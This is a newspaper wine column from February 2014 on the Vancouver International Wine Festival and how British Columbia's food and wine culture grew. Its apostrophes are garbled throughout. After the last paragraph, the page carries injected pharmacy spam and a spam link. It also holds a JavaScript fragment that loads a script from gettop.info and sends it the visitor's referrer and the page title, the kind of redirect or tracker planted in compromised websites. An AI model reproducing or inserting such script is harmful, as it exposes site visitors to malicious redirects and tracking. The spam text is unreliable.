Festival fetes B.C.a��s progress – Feb. 22, 2014

By Anthony Gismondi

Ita��s festival week in Vancouver and for the many local wine lovers and the equally engaged trade, ita��s the biggest week of the year. Ita��s hard to measure the total impact of wine in British Columbia but it is safe to say business-wise, ita��s big, and becoming bigger.

When the Vancouver International Wine Festival began in 1979, the notion of a wine culture in Vancouver was mostly wishful thinking. The monthly Four Seasons Hotel wine-maker dinners in those days were incubators of what would become a sophisticated wine culture aided by a generous helping hand from then-general manager Ruy Paes-Braga. Paes-Braga was born in Portugal and travelled extensively in Europe. His keen eye for perfection and his love of gastronomy made the Four Seasons a breeding ground for disciples of food and wine.

With a budding interest in wine, I was kindly invited to dine with each visiting wine-maker. While absorbing the imagination of the many talented chefs, the wine-maker tales and Paes-Bragaa��s relentless demand for perfection I had a free education in the culture of food and wine.

Typically, a winery would be invited from California or France to play host to the dinner. The wines would arrive under diplomatic cover courtesy of that countrya��s consul general and the costs were kept affordable. Ita��s was a novel solution and an innovative way to circumvent the hefty border taxes that would make a dinner with six or eight wines unaffordable. Each dinner seemed to raise the level of awareness of just what could be achieved in matching food and wine, and slowly but surely they would set a standard that would attract some of the biggest names in wine to Vancouver.

By the time I began writing the Sun’s wine column in the late 1980s, a seat at the Four Seasons wine dinner was a hot ticket. It wasna��t long before the concept spread across the citya��s growing hotel and restaurant scene in essence seeding the food and wine culture we see today.

Meanwhile, 250 kilometres to the east in the Okanagan Valley, two key events would occur that would solidify the foundation of the B.C.a��s modern wine culture. The nuts and bolts of a primitive set of wine rules, the Vintners Quality Alliance was assembled by a small group of forwarding-thinking B.C. wine pioneers. A quarter century later, the VQA symbol is the calling card of 100-per-cent grown-in-B.C. wine. The symbol is under fire by many who think it has out-lived its usefulness but there can be little doubt VQA has done its share to first inspire B.C. residents to B.C. wine and more recently to inspire a whole new generation of investors to take the Okanagan seriously.

Then there is Chris Coletta, currently the indefatigable leader of Okanagan Crush Pad. Coletta in the 1990s was the head of the British Columbia Wine Institute and it was her team that coined the slogan a�?Pinot Gris and Salmon, a Marriage Made in Heaven.a�? Linking local food to local wine was a master stroke for the tiny struggling wine industry. It immediately plugged distant wineries into the downtown Vancouver chef and restaurant community starting a connection that has strengthened both participants over the last three decades.

The culture of food began to penetrate B.C. wineries and the culture of wine similarly grew in city restaurants. All the while the Playhouse took the torch from Robert Mondavi in 1979, growing bigger and better each year with help from the same consulate protection the Four Seasons pioneered. The result is British Columbia is a much better place to work, live and play.

Whether you find yourself this week in the midst of the best consumer wine show on the continent, or perhaps sitting at a bar in front of a sleek Enomatic wine dispenser with 20 wine selections perfectly preserved under gas, give a thought to some of the events that are all part of British Columbiaa��s thriving culture of wine and food.} lasix prescription online Buy buy triamterene without prescription s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; http://yada.mhs.narotama.ac.id/2018/03/17/robaxin-treatment/ cheap zenegra 50mg

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